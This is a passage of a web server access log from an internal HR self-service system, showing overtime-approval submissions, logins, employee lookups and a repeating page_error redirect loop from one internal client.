HTTP/1.1" 200 40819 192.168.40.52 - - [02/Dec/2025:08:47:23 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:23 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132673%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132673&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132673%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132673&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:24 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:25 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.135 - - [02/Dec/2025:08:47:23 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:47:23 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.135 - - [02/Dec/2025:08:47:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:47:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.40.52 - - [02/Dec/2025:08:47:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:47:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:47:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.40.52 - - [02/Dec/2025:08:47:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:31 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [02/Dec/2025:08:47:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [02/Dec/2025:08:47:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.144 - - [02/Dec/2025:08:47:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11254479419555286 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:47:39 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11254479419555286 HTTP/1.1" 200 8816 192.168.11.135 - - [02/Dec/2025:08:47:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [02/Dec/2025:08:47:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:47:45 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11254479419555286 HTTP/1.1" 200 16781 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11254479419555286" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:47:45 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.11254479419555286 HTTP/1.1" 200 16781 192.168.11.144 - - [02/Dec/2025:08:47:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4267 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [02/Dec/2025:08:47:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4267 192.168.11.135 - - [02/Dec/2025:08:48:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3350428283302358 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:48:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3350428283302358 HTTP/1.1" 200 8908 192.168.11.144 - - [02/Dec/2025:08:48:45 +0800] "GET 